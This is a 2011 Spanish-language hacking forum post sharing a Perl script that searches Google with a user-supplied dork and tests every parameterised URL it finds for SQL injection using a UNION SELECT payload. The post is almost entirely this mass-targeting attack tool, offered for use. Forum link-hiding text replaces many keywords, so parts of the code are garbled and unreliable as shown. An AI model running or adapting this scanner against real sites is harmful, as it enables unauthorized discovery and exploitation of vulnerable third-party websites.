comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Search in google for scan SQLI

  • 0 Respuestas
  • 1253 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 09:49:49 pm »
Un simple scanner de SQLI para usar en google

Código: Perl
  1. #!usr/bin/perl
  2. #Search Google for scan SQLI
  3. #(C) Doddy Hackman 2011
  4.  
  5. use LWP::UserAgent;
  6. use HTML::LinkExtor;
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  10. $nave->timeout(5);
  11.  
  12. head();
  13.  
  14. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n[Dork] : ";
  15. No tienes permisos para ver links. Registrate o Entra con tu cuenta(my $dork = <stdin>);
  16. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n[Pages] : ";
  17. No tienes permisos para ver links. Registrate o Entra con tu cuenta(my $pages = <stdin>);
  18. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n[Starting the search]\n\n";
  19. my @links = google($dork,$pages);
  20. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[Links Found] : ".No tienes permisos para ver links. Registrate o Entra con tu cuenta(@links)."\n\n\n";
  21. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[Starting the scan]\n\n\n";
  22. for my $link(@links) {
  23. if ($link=~/(.*)=/ig) {
  24. my $web = $1;
  25. sql($web."=");
  26. }}
  27. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n[+] Finish\n";
  28. copyright();
  29. <stdin>;
  30.  
  31. sub google {
  32. my($a,$b) = @_;
  33. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  34. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  35. my @links = get_links($code);
  36. for my $l(@links) {
  37. if ($l =~/webcache.googleusercontent.com/) {
  38. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@url,$l);
  39. }
  40. }
  41. }
  42.  
  43. for(@url) {
  44. if ($_ =~/cache:(.*?):(.*?)\+/) {
  45. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@founds,$2);
  46. }
  47. }
  48.  
  49. my @founds = repes(@founds);
  50.  
  51. No tienes permisos para ver links. Registrate o Entra con tu cuenta @founds;
  52. }
  53.  
  54.  
  55. sub sql {
  56. my ($pass1,$pass2) = ("+","--");
  57. my $page = No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  58. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  59. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  60. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] SQLI : $page\a\n";
  61. }}
  62.  
  63. sub get_links {
  64.  
  65. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  66. No tienes permisos para ver links. Registrate o Entra con tu cuenta @links;
  67.  
  68. sub agarrar {
  69. my ($a,%b) = @_;
  70. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@links,No tienes permisos para ver links. Registrate o Entra con tu cuenta %b);
  71. }
  72. }
  73.  
  74. sub repes {
  75. foreach $test(@_) {
  76. No tienes permisos para ver links. Registrate o Entra con tu cuenta @limpio,$test unless $repe{$test}++;
  77. }
  78. No tienes permisos para ver links. Registrate o Entra con tu cuenta @limpio;
  79. }
  80.  
  81. sub head {
  82. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n-- == Search Google == --\n\n";
  83. }
  84.  
  85. sub copyright {
  86. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n(C) Doddy Hackman 2011\n\n";
  87. No tienes permisos para ver links. Registrate o Entra con tu cuenta(1);
  88. }
  89.  
  90. sub toma {
  91. No tienes permisos para ver links. Registrate o Entra con tu cuenta $nave->get($_[0])->content;
  92. }
  93.  
  94. sub tomar {
  95. my ($web,$var) = @_;
  96. No tienes permisos para ver links. Registrate o Entra con tu cuenta $nave->post($web,[%{$var}])->content;
  97. }
  98.  
  99. #Thanks to explorer (PerlEnEspañol)
  100. # ¿ The End ?
  101.  
« Última modificación: Julio 17, 2011, 03:45:11 am por Sthefano02 »

 

¿Te gustó el post? COMPARTILO!



Sqli Dorking

Iniciado por ZanGetsu

Respuestas: 1
Vistas: 1718
Último mensaje Agosto 31, 2013, 03:29:16 am
por hdbreaker
Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3161
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1476
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1103
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1602
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d